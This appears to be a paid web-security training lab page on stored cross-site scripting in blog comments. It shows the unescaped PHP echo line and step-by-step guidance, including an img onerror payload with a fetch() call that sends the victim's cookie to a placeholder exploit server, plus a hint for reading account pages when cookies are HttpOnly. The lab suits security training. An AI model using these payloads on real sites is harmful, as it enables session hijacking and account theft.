Stored XSS to session theft in blog comments
Comments are stored and re-rendered as raw HTML. Plant a payload that exfiltrates the session cookie of everyone who views the post.
Scenario
The blog renders comment bodies without encoding:
echo "<section class='comment'>" . $comment['body'] . "</section>";
A background job simulates a logged-in victim opening the commented post on a loop.
Your objective
Store a comment that sends the victim's session cookie to your exploit server, then use it to access their account. Solved when you load the victim's account page.
Capture 2 flag(s) and record the exact technique for each step.
Getting started
- Post
<b>probe</b>as a comment and confirm it renders bold. - Escalate to script execution with
<img src=x onerror="...">. - Point the handler at your exploit server:
fetch('https://YOUR-EXPLOIT-SERVER/?c='+document.cookie). - Wait for the victim bot to hit the page; read the cookie from your access log.
- Submit two flags: the cookie name that was stolen, and the victim's account email.
Connecting
Press Launch Lab to build your own instance, then use the How to connect panel — it shows the browser link as soon as the app is running. Hit Stop when you are done, or Relaunch / Reset for a clean copy.
Credentials: wiener:peter (a normal user); an automated "victim" views the post every 15 s.
Hints
Tip
If HttpOnly is set, stealing the cookie fails — instead make the payload perform an action (read /my-account) and POST the response to your server.
Get access to this lab to see how to connect.
Challenge questions
0 / 2 correct- Submit the initial flag you recovered while solving this lab.
- Which vulnerability class does this lab cover? (a few words)
On this page
Access
0.0080 BTC≈ $520.00
At a glance
- Operating system
- Web application
- Connection
- Browser / HTTP
- Questions
- 0 / 2 solved
- Launched by
- 0 hackers
- Maintained by
- Ashley Kessler